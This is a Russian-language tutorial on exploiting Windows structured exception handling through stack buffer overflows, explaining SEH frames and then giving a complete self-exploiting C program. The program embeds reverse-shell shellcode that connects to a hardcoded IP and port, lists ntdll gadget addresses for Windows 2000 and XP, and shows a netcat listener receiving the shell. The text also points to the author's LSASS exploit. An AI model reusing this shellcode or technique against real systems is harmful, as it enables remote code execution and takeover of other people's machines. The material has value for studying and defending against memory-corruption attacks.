В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи. Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма.
Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код. А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.
4892 просмотра за 1 неделю
Переполнение буфера в стеке.
(c) houseofdabus
В этой статье рассматриваются достаточно специфические уязвимости, связанные с подменой обработчика исключений (SEH), которые успешно применяются как при переполнении буфера в стеке, так и при переполнении кучи.
Меня немного расстроило то, что на эту тему нет ни одной русскоязычной статьи, а все англоязычные статьи рассматривают эту тему очень кратко, поэтому я решил написать целых три статьи посвященные эксплуатированию SEH.
Первая (данная статья) затрагивает немного теорию обработчиков исключений и методы получения контроля над приложением при переполнении буфера в стеке посредством перезаписи SEH-фрейма.
Вторая часть будет посвящена переполнению кучи и тому, как можно подменить фильтр необработанных исключений и тем самым внедрить свой код.
А в третьей статье я расскажу, как с помощью SEH можно обойти механизм защиты стека от переполнения, который применяется в Windows 2003 Server.
Чтобы не было расхождений, все примеры, которые рассматриваются в статье, стоит компилировать с помощью MS VC++ 6.0 или lcc-win32.
Что такое SEH?
SEH - это сокращение от Structured Exception Handling и переводится как структурная обработка исключения. Исключение - это событие к которому приводит ненормальное (неправильное) поведение кода, например, исключение, возникает при обращение к невыделенной области памяти (и как следствие возникает нарушение доступа) или при делении на нуль.
Исключения бывают двух типов:
У каждого исключения есть свой код, их определения можно посмотреть в файлах winbase.h и winnt.h. Например, исключение, связанное с нарушением доступа имеет следующее определение и код:
#define EXCEPTION_ACCESS_VIOLATION STATUS_ACCESS_VIOLATION #define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
Любое исключение, как аппаратное, так и программное, можно обработать.
Ниже представлен синтаксис обработчика исключения:
__try { // защищенный код, // который помещается в SEH-фрейм } __except (фильтр исключений) { // обработчик исключений }
Если при выполнении кода из блока __try {...}, возникнет исключение, то операционная система перехватит его и приступит к поиску блока __except. Найдя его, она передаст управление фильтру исключений. Фильтр исключений может получить код исключения и на основе этого кода принять решение, передать управление обработчику или же сказать системе, чтобы она искала предыдущий по вложенности блок __except. Фильтр исключений может возвращать одно из трех значений (идентификаторов), которые определены в файле excpt.h:
EXCEPTION_EXECUTE_HANDLER 1 EXCEPTION_CONTINUE_SEARCH 0 EXCEPTION_CONTINUE_EXECUTION -1
Идентификатор EXCEPTION_EXECUTE_HANDLER говорит системе, что для этого блока __try есть обработчик исключения и он готов обработать это исключение.
Идентификатор EXCEPTION_CONTINUE_SEARCH говорит системе, чтобы она искала
предыдущий по вложенности блок __except, а идентификатор EXCEPTION_CONTINUE_EXECUTION говорит ей, чтобы она снова продолжала выполнение с того места кода, который вызвал исключение.
Рассмотрим пример с обработчиком исключений:
<except.c> #include <stdio.h> #include <stdlib.h> #include <windows.h> void except_sample() { __try { printf("start of __try\r\n"); // возбуждаем исключение *(char *)0 = 0; // этот кусок кода никогда не выполнится printf("end of __try\r\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { printf("!!! exception !!!\r\n"); } printf("end of except_sample\r\n"); } int main(int argc, char **argv) { except_sample(); printf("end of main\r\n"); return 0; } C:\samples>except.exe start of __try !!! exception !!! end of except_sample end of main C:\samples>
В этом примере в качестве фильтра исключения мы сразу подставляем идентификатор EXCEPTION_EXECUTE_HANDLER, тем самым мы перехватываем все исключения, которые могут возникнуть при выполнении кода из блока __try {...}.
Помимо обработчиков исключения есть еще не менее важная вещь – обработчик завершения. Смысл его в том, что независимо от того, что произойдет в защищенном участке кода, обработчик завершения будет выполнен. Его синтаксис выглядит следующим образом:
__try { // защищенный код } _finally { // обработчик завершения }
Другими словами, вне зависимости от того выполнится защищенный код целиком без ошибок или все же произойдет ошибка (исключение), обработчик завершения получит управление.
Главное отличие обработчика завершения от обработчика исключения заключается в том, что фильтры и обработчики исключений получают управление непосредственно от операционной системы и нагрузка на компилятор минимальна.
Теперь посмотрим, как операционная система находит обработчики исключений и как передает им управление.
Каждый защищенный блок кода, получив управление, прописывает свой обработчик в специальную область, называемую TIB (Thread Information Block), и при этом сохраняет старый обработчик. Происходит это следующим образом:
В TIB по смещению 0 отведена специальная область для сохранения адреса текущего фильтра исключений. Компилятор перед защищенным блоком вставляет специальный код, приблизительно следующего вида:
push _Handler ; помещаем в стек адрес нашего фильтра mov eax, FS:[0] ; записаваем в eax адрес структуры ; предыдущего обработчика push eax ; записываем его в стек mov FS:[0], esp ; устанавливаем в TIB адрес нашей структуры
Этот код формирует в стеке структуру (SEH-фрейм) вида
struct EXCEPTION_REGISTRATION { EXCEPTION_REGISTRATION *prev; DWORD *handler; };
В этой структуре указывается адрес предыдущей (по вложенности) структуры и адрес фильтра. Таким образом, формируется цепочка структур обработчиков исключений, как показано на рис.1.
Рис.1. Цепочка структур EXCEPTION_REGISTRATION.
Каждый последующий вложенный защищенный блок кода добавляет свое звено в эту цепочку. И наоборот, когда защищенный блок кода завершает свою работу он убирает свое звено из цепочки и сдвигает указатель в TIB (тоже самое делает и обработчик, если произошло исключение). Вот почему это называется структурной обработкой исключений.
Теперь посмотрим, что делает система, когда генерируется исключение.
Сразу после того, как система перехватила исключение, она просматривает TIB потока, в котором произошло это исключение и начинает последовательно по цепочке передавать управление фильтрам. Если какой-то из фильтров исключений возвращает идентификатор EXCEPTION_EXECUTE_HANDLER, то дальше происходит так называемая глобальная раскрутка (global unwind). Глобальная раскрутка приводит к продолжению обработки всех вложенных блоков try-finally (обработчиков завершения), выполнение которых началось вслед за блоком try-except, и только после этого управление получает сам обработчик исключений.
И так, мы теперь знаем, что происходит при возникновении исключения и кем и как обработчик запускается. Знаем, что для каждого потока устанавливается свой SEH. А что произойдет, если исключение возникло, но обрабатывать его некому (необработанное исключение)?
Необработанное исключение
Для того чтобы понять, что такое необработанное исключение, рассмотрим классическую уязвимость переполнения буфера в стеке:
<simple1.c> #include <stdio.h> #include <stdlib.h> #include <windows.h> void vuln(char *ptr) { char buf[16]; strcpy(buf, ptr); } int main(int argc, char **argv) { char buf2[128]; memset(buf2, 0x41, 128); buf2[32] = '\0'; vuln(buf2); printf("end of main\r\n"); return 0; }
Как мы видим, в функции vuln копируется строка по указателю ptr в локальный буфер buf, без проверки на размер. Передав этой функции строку, размером больше 16 байт, мы тем самым выходим за пределы буфера и затираем соседние данные в стеке. В стеке выше буфера buf находятся сохраненные регистры ebp и eip (рис.2), т.е. выходя за пределы буфера, мы можем затереть сохраненные ebp и адрес возврата eip нашими данными.
Рис. 2. Состояние стека перед вызовом strcpy.
Скомпилируем sample1.c и посмотрим, что произойдет при выполнении:
C:\samples>sample1.exe
Рис. 3. Необработанное исключение.
В нашем примере при копировании строки размером 32 байта происходит переполнение буфера buf и как следствие затирание сохраненного адреса возврата eip. После этого функция vuln заканчивает свое выполнение, очищает стек от локальных переменных и выходит (эпилог функции):
mov esp, ebp pop ebp ret
Т.к. сохраненный адрес возврата после переполнения теперь принял значение 0x41414141, то выполнение программы продолжается с этого адреса (т.е. с 0x41414141). Этот адрес не имеет отображение на физическую память (т.е. память не выделена), поэтому процессор генерирует исключение.
Дальше начинается самое интересное.
Операционная система перехватывает его и выбирает в потоке текущий фильтр исключений и передает ему управление.
Но в нашем примере нет фильтра исключений, кто же тогда выполняется?
Дело в том, что при создании любого процесса к нему сразу добавляется обработчик исключений (фильтр) UnhandledExceptionFilter. Так называемый, фильтр необработанных исключений, который является самым верхним обработчиком (TOP SEH) для всех потоков процесса. В нашем случае, так как у нас нет своих обработчиков, то ему и передается управление. Этот обработчик сохраняет контекст процесса и выводит сообщение об ошибке (рис.3), которое говорит нам что:
"Инструкция по адресу "0x41414141" обратилась к памяти
по адресу "0x41414141". Память не может быть "read".".
Если нажать "ОК", то процесс завершится, а если "Отмена", то UnhandledExceptionFiler запустит отладчик и подключит его к процессу.
Примечание: отладчик прописывается в реестре, в разделе
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug
SEH фрейм
Добавим теперь в функцию vuln обработчик исключений и посмотрим что произойдет:
<seh1.c> #include <stdio.h> #include <stdlib.h> #include <windows.h> void vuln(char *ptr) { char buf[16]; __try { printf("start of strcpy\r\n"); strcpy(buf, ptr); printf("end of strcpy\r\n"); } __except (EXCEPTION_EXECUTE_HANDLER) { printf("exception\r\n"); } printf("end of vuln\r\n"); } int main(int argc, char **argv) { char buf2[128]; memset(buf2, 0x41, 128); buf2[32] = '\0'; vuln(buf2); printf("end of main\r\n"); return 0; } C:\samples>seh1.exe start of strcpy end of strcpy end of vuln end of main C:\samples>
Как не странно никакого исключения не произошло, функция vuln скопировала строку в буфер и успешно возвратила управление функции main. Посмотрим состояние стека перед вызовом strcpy (рис.4).
Рис.4. Состояние стека перед вызовом strcpy.
Как мы видим, состояние стека изменилось. Теперь между буфером buf и сохраненными регистрами ebp и eip добавились блоки SEH-frame и блок с адресом вершины стека.
Блок SEH-frame есть ни что иное, как структура EXCEPTION_REGISTRATION, о которой рассказывалось ранее, с двумя дополнительными полями, которые добавил компилятор. Первое поле ID необходимо для раскрутки (unwind) и в самом первом звене цепочки SEH оно принимает значение 0xFFFFFFFF, и сигнализирует об окончании, т.е. является признаком последнего звена. Каждая последующая функция, которая имеет обработчик исключений, устанавливают ID в 0, и увеличивает это значение на единицу с каждым последующим вложенным блоком __try.
Следующее поле, которое на рисунке обозначено как *pointer, является указателем на область памяти, в которой содержится структура вида
long ID - принимает значение 0xFFFFFFFF long *pointer1 long *pointer2
Этой структурой оперирует фильтр исключений.
Указатель poiner1 содержит адрес блока кода, который возвращает одно из трех значений идентификатора фильтра исключений (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH или EXCEPTION_CONTINUE_EXECUTION). Следующий указатель (pointer2) указывает на начало блока обработчика исключений.
Последующие поля *Handler и *prev_Handler указывают соответственно на фильтр исключений и на предыдущий SEH-фрейм.
Чтобы разобраться в этом более детально посмотрим, какой код генерирует компилятор.
функция vuln (все значения в hex виде):
push ebp ; стандартный пролог mov ebp,esp ; функций push 0FF ; устанавливаем ID push 0004050A8 ; записываем *pointer push 00040121C ; и адрес фильтра исключений mov eax,fs:[000000000] ; извлекаем из TIB адрес ; предыдущего SEH-фрейма push eax ; и сохраняем его в стеке mov fs:[000000000],esp ; Устанавливаем в TIB ; адрес нашего SEH-фрейма sub esp,018 ; Выделяем в стеке ; 8 байт для сохранения esp (*) ; + область для буфера buf push ebx ; сохраняем регистры ebx, push esi ; esi и push edi ; edi mov [ebp][-0018],esp ; сохраняем esp в заранее ; отведенную область в стеке cм.(*) mov d,[ebp][-0004],000000000 ; устанавливаем ID в 0 ; printf("start of strcpy\r\n"); push 00040605C ; записываем адрес строки call _printf ; вызываем printf ; strcpy(buf, ptr); push d,[ebp][00008] ; ptr push d,[ebp][-0028] ; buf call _strcpy ; вызываем strcpy ; printf("end of strcpy\r\n"); push 00040604C ; записываем адрес строки call _printf ; вызываем printf add esp,010 ; очищаем стек от параметров ; сдвигаем вершину стека на 16 ; если все прошло успешно, то jmps $LABEL1 ; переходим к окончанию ; блока try-except ; *pointer1 mov eax,000000001 ; возвращаем идентификатор retn ; EXCEPTION_EXECUTE_HANDLER ; *pointer2 ; код обработчика исключений ( блок __except() {...} ) mov esp,[ebp][-0018] ; восстанавливаем состояние стека ; см. (*) ; printf("exception\r\n"); push 000406040 ; записываем адрес строки call _printf ; вызываем printf add esp,004 ; очищаем стек от параметров ; конец блока try-except $LABEL1: mov d,[ebp][-0004],0FFFFFFFF ; восстанавливаем ID ; printf("end of vuln\r\n"); push 000406030 ; записываем адрес строки call _printf ; вызываем printf add esp,004 ; очищаем стек от параметров mov ecx,[ebp][-0010] ; берем адрес предыдущего ; SEH-фрейма mov fs:[000000000],ecx ; и сохраняем его в TIB pop edi ; восстанавливаем регистры edi, pop esi ; esi pop ebx ; и ebx ; эпилог функции mov esp,ebp pop ebp retn
Теперь вернемся к нашему примеру (seh1.c) и посмотрим что произошло.
Функция strcpy, копируя строку размером 32 байта, вышла за пределы буфера и затерла данные, которые находились выше буфера - это блок с сохраненным регистром esp и 8 байт из SEH-фрейма, поэтому никакого исключения и не произошло.
Вот теперь мы подошли к самому интересному.
Очевидно, что, переполняя буфер, мы можем изменять SEH-фрейм так, как захотим. Например, мы может изменить/подменить адрес фильтра исключений и через исключение передать ему управление.
Подмена SEH-фрейма
Многие, наверное, спросят, а зачем так усложнять ситуацию, если можно воспользоваться старым классическим методом подмены адреса возврата?
Дело в том, что код уязвимой функции может быть намного сложнее, например, если функция vuln будет принимать не один параметр, а два:
void vuln(char *ptr, char *ptr2) { ... __try { ... strcpy(buf, ptr); // что-то делаем с данными ... strcpy(ptr2, buf); ... } __except (...) { ... } ... }
В этом случае, переполнив буфер, мы затираем помимо адреса возврата еще и указатели ptr и ptr2 и второй вызов функции strcpy приведет к генерации исключения, поэтому выход из функции может не произойти должным образом. Конечно, мы можем попытаться подобрать адрес выделенной области памяти необходимых размеров, у которой есть права на запись, но это будет очень не стабильный вариант или не такой универсальный.
Теперь приступим к практической части, для этого немного изменим наш пример:
<seh2.c> #include <stdio.h> #include <stdlib.h> #include <windows.h> void vuln(char *ptr, char *ptr2) { char buf[16]; __try { printf("start of strcpy\r\n"); strcpy(buf, ptr); // делаем что-то с данными в буфере // ... // возбуждаем исключение *(char *)0 = 0; strcpy(ptr2, ptr); printf("end of strcpy\r\n"); } __except(EXCEPTION_EXECUTE_HANDLER) { printf("exception\r\n"); } printf("end of vuln\r\n"); } void secfunc(void) { printf("good job!\r\n"); exit(0); } int main(int argc, char **argv) { unsigned char buf2[128]; unsigned char *tmpptr; void (*ptrfunc)(); // узнаем адрес функции secfunc ptrfunc = secfunc; printf("ptrfunc = %p\r\n", ptrfunc); memset(buf2, 0x41, 128); // если компилятор MS VC++ buf2[32] = 0x00; // если компилятор lcc-win32 // buf2[36] = 0x00; tmpptr = (unsigned char*)ptrfunc; // если компилятор MS VC++ memcpy(buf2+28, &tmpptr, 4); // если вы используете компилятор, lcc-win32, // то смещение нужно увеличить на 4 // memcpy(buf2+32, &tmpptr, 4); Sleep(3000); vuln(buf2, buf2); printf("end of main\r\n"); return 0; }
Для начала попробуем что-то попроще, например, подменить адрес фильтра исключений на адрес функции secfunc() и вызвать исключение для того, чтобы подмененный фильтр выполнился.
Для этого, во-первых, узнаем адрес функции secfunc():
void (*ptrfunc)(); ptrfunc = secfunc;
А во вторых, сформируем строку, которой мы будем переполнять буфер и подменять фильтр исключений, эта строка будет иметь размер в 32 байта (без учета нуля на конце):
AAAA...AAAAA - 28 байт <адрес функции secfunc> Посмотрим что получится: C:\samples>seh2.exe ptrfunc = 004010D0 start of strcpy good job! C:\samples>
Все получилось, как мы и задумывали.
Но это был совсем простой пример, теперь рассмотрим более жизненный пример - попробуем записать в стек какой-нибудь код и передать ему управление.
Тут и возникает вопрос, как передать нашему коду управление?
Первое что приходит на ум - это перезаписать адрес фильтра исключения на адрес инструкции jmp esp или call esp. Но, проверив это на деле, я так и не добился нужного результата. Покопавшись с отладчиком, я заметил, что состояние стека изменяется и что самое печальное, при возникновении исключения изменяется и указатель на стек.
Но решение этой проблемы все же есть, и оно было найдено. Дело в том, что при передачи управления фильтру исключений в регистр ebx записывается адрес текущего SEH-фрейма (т.е. адрес поля *prev_Handler, см. рис. 4). Поэтому, чтобы передать управление нашему коду, нужно:
1) Перезаписать адрес фильтра в SEH-фрейме адресом инструкции jmp ebx или call ebx.
2) Перезаписать поле *prev_Handler на которое указывает регистр ebx инструкцией jmps <смещение>, чтобы перескочить поле *Handler (адрес фильтра).
3) Записать нужный код после поля *Handler.
4) Вызвать исключение, чтобы управление передалось фильтру.
Еще одна проблема была выявлена при тестировании этого метода в операционной
системе Windows XP. В отличие от Windows 2000, в XP, перед тем как передать управление фильтру исключений, очищаются все регистры и в том числе ebx. И ни один из регистров явным образом не указывает на SEH-фрейм. Видимо Microsoft таким образом решила повысить безопасность своих продуктов. Проведя некоторое время за отладчиком, мне удалось решить и эту проблему.
Адрес SEH-фрейма был найден в стеке и на момент вызова фильтра исключений он находится по адресу esp+8. В этом случае нам достаточно найти адрес инструкций pop reg, pop reg, ret и перезаписать им адрес фильтра в SEH-фрейме. А все остальное проделать так же, как описано в пунктах 2, 3 и 4.
Теперь опробуем все это на деле.
<sehexpl.c> #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winsock.h> #pragma comment(lib, "ws2_32") // revers shellcode // подгружает ws2_32.dll unsigned char shellcode[508]= "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" "\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" "\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" "\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89" "\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13" "\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" "\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C" "\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89" "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" "\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89" "\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" "\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A" "\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66" "\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" "\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0" "\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84" "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" "\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50" "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD" "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03" "\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48" "\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83" "\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41" "\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03" "\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3" "\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" "\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" "\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B" "\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B" "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" "\xFF\xFF\xFF\xFF"; void vuln(char *ptr, char *ptr2) { char buf[16]; __try { printf("start of strcpy\r\n"); strcpy(buf, ptr); // делаем что-то с данными в буфере // ... // После переполнения буфера указатели // ptr и ptr2 затираются и при обращении // к ним возникает исключение strcpy(ptr2, ptr); //strcpy(ptr2, buf); printf("end of strcpy\r\n"); } __except(EXCEPTION_EXECUTE_HANDLER) { printf("exception\r\n"); } printf("end of vuln\r\n"); } int main(int argc, char **argv) { // jmpaddr: // 0x77F86656 call ebx (ntdll.dll) - Win2k Pro SP4 + ms04011 // 0x77FAAE17 push ebx, ret (ntdll.dll) - Win2k Pro SP4 + ms04011 // 0x77F92A9B jmp ebx (ntdll.dll) - Win2k Pro/Adv SP4 // 0x77F95365 jmp ebx (ntdll.dll) - Win2k Pro/Adv SP4 // ntdll.dll // 0x77F555FE pop reg, pop reg, ret - WinXP SP0 // 0x77F61598 pop reg, pop reg, ret - WinXP SP0 // 0x77F5565E pop reg, pop reg, ret - WinXP SP1 // 0x77F6181E pop reg, pop reg, ret - WinXP SP1 char jmpaddr[8] = "\x56\x66\xF8\x77"; // 0x77F86656; char short_jump[8] = "\xEB\x06\x90\x90"; unsigned short port = 9191; // порт unsigned int ip = inet_addr("192.168.1.210"); // IP char *portptr = ""; char *ipptr = ""; // если компилятор MS VC++ unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAA"; // если компилятор lcc-win32, то +4 байта //unsigned char buf2[1024] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAA"; unsigned char dummybuf[1024]; port = htons(port); port = port^0xFFFF; portptr = (char *) &port; shellcode[209] = portptr[0]; shellcode[210] = portptr[1]; ipptr = (char *) &ip; shellcode[191] = ipptr[0]; shellcode[192] = ipptr[1]; shellcode[193] = ipptr[2]; shellcode[194] = ipptr[3]; strcat(buf2, short_jump); strcat(buf2, jmpaddr); strcat(buf2, shellcode); strcat(buf2, "\x00"); vuln(buf2, dummybuf); printf("end of main\r\n"); return 0; }
Сначала запускаем netcat:
C:\samples\nc>nc.exe -l -p 9191
Потом запускаем sehexpl, который сам же себя эксплуатирует:
C:\samples>sehexpl.exe start of strcpy C:\samples>
После этого, если все параметры были установлены правильно (IP адрес, порт и jmp адрес), то мы получим shell:
C:\samples\nc>nc.exe -l -p 9191 Microsoft Windows 2000 [Версия 5.00.2195] (С) Корпорация Майкрософт, 1985-2000. C:\samples>
Заключение
В заключение хочу предложить вам для самостоятельного изучения мой эксплоит HOD-ms04011-lsasrv-expl.c, в котором успешно применяется данный метод для атаки сервиса LSASS системы Windows 2000.
(c) houseofdabus
[at inbox dot ru]
Учебный центр "Информзащита" http://www.itsecurity.ru - ведущий специализированный центр в области обучения информационной безопасности (Лицензия Московского Комитета образования № 015470, Государственная аккредитация № 004251). Единственный авторизованный учебный центр компаний Internet Security Systems и Clearswift на территории России и стран СНГ. Авторизованный учебный центр компании Microsoft (специализация Security). Программы обучения согласованы с Гостехкомиссией России, ФСБ (ФАПСИ). Свидетельства об обучении и государственные документы о повышении квалификации.
Компания SoftKey – это уникальный сервис для покупателей, разработчиков, дилеров и аффилиат–партнеров. Кроме того, это один из лучших Интернет-магазинов ПО в России, Украине, Казахстане, который предлагает покупателям широкий ассортимент, множество способов оплаты, оперативную (часто мгновенную) обработку заказа, отслеживание процесса выполнения заказа в персональном разделе, различные скидки от магазина и производителей ПО.
Одно найти легче, чем другое. Спойлер: это не темная материя